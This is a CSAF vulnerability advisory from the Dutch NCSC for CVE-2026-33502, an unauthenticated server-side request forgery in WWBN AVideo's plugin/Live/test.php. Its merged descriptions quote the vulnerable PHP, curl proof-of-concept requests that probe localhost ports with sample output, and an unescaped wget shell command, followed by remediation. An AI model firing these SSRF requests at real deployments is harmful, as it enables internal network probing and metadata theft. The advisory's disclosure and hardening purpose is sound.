{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33502", "tracking": { "current_release_date": "2026-03-26T00:52:51.838146Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33502", "initial_release_date": "2026-03-20T21:40:57.501249Z", "revision_history": [ { "date": "2026-03-20T21:40:57.501249Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T21:41:00.720614Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-20T22:41:57.367396Z", "number": "3", "summary": "CVSS updated." }, { "date": "2026-03-20T22:42:04.055468Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-21T00:30:54.697102Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (16).| Product Identifiers created (17).| Products created (2).| References created (1).| CWES updated (1)." }, { "date": "2026-03-21T00:31:00.676576Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-24T07:05:23.265539Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-24T07:42:05.581767Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-24T07:42:08.209592Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:51:19.161952Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-03-24T20:51:27.007735Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:51:51.046893Z", "number": "12", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-24T20:51:52.951044Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-24T21:37:23.405439Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-25T21:02:02.927537Z", "number": "15", "summary": "References created (2)." }, { "date": "2026-03-26T00:49:47.496498Z", "number": "16", "summary": "References created (2)." } ], "status": "interim", "version": "16" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=26.0", "product": { "name": "vers:unknown/<=26.0", "product_id": "CSAFPID-5893889", "product_identification_helper": { "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "AVideo" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/10.4", "product": { "name": "vers:unknown/10.4", "product_id": "CSAFPID-5656122", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.4" } } }, { "category": "product_version_range", "name": "vers:unknown/10.8", "product": { "name": "vers:unknown/10.8", "product_id": "CSAFPID-5656123", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.8" } } }, { "category": "product_version_range", "name": "vers:unknown/11", "product": { "name": "vers:unknown/11", "product_id": "CSAFPID-5656124", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1", "product": { "name": "vers:unknown/11.1", "product_id": "CSAFPID-5656125", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1.1", "product": { "name": "vers:unknown/11.1.1", "product_id": "CSAFPID-5656126", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.5", "product": { "name": "vers:unknown/11.5", "product_id": "CSAFPID-5656127", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.5" } } }, { "category": "product_version_range", "name": "vers:unknown/11.6", "product": { "name": "vers:unknown/11.6", "product_id": "CSAFPID-5656128", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.6" } } }, { "category": "product_version_range", "name": "vers:unknown/12.4", "product": { "name": "vers:unknown/12.4", "product_id": "CSAFPID-5656129", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@12.4" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3", "product": { "name": "vers:unknown/14.3", "product_id": "CSAFPID-5656130", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3.1", "product": { "name": "vers:unknown/14.3.1", "product_id": "CSAFPID-5656131", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/14.4", "product": { "name": "vers:unknown/14.4", "product_id": "CSAFPID-5656132", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.4" } } }, { "category": "product_version_range", "name": "vers:unknown/18.0", "product": { "name": "vers:unknown/18.0", "product_id": "CSAFPID-5656133", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.0", "product": { "name": "vers:unknown/21.0", "product_id": "CSAFPID-5721197", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.0", "product": { "name": "vers:unknown/22.0", "product_id": "CSAFPID-5772271", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.0", "product": { "name": "vers:unknown/24.0", "product_id": "CSAFPID-5772272", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@24.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.0", "product": { "name": "vers:unknown/25.0", "product_id": "CSAFPID-5840723", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@25.0" } } }, { "category": "product_version_range", "name": "vers:unknown/26.0", "product": { "name": "vers:unknown/26.0", "product_id": "CSAFPID-5878928", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@26.0" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=26.0", "product": { "name": "vers:unknown/>=0|<=26.0", "product_id": "CSAFPID-5878929" } } ], "category": "product_name", "name": "avideo" } ], "category": "vendor", "name": "WWBN" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33502", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log('file_get_contents:: '.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . '/../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n http_response_code(403);\n exit('Forbidden');\n}\n\n$statsURL = $_REQUEST['statsURL'] ?? '';\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n exit('Unsafe URL');\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level", "title": "github - https://api.github.com/advisories/GHSA-3fpm-8rjr-v5mc" }, { "category": "description", "text": "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log('file_get_contents:: '.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . '/../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n http_response_code(403);\n exit('Forbidden');\n}\n\n$statsURL = $_REQUEST['statsURL'] ?? '';\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n exit('Unsafe URL');\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-3fpm-8rjr-v5mc.json?alt=media" }, { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33502" }, { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33502.json" }, { "category": "other", "text": "0.00041", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929", "CSAFPID-5893889" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-3fpm-8rjr-v5mc" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-3fpm-8rjr-v5mc.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33502" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33502.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-3fpm-8rjr-v5mc" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33502" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929", "CSAFPID-5893889" ] } ], "title": "CVE-2026-33502" } ] }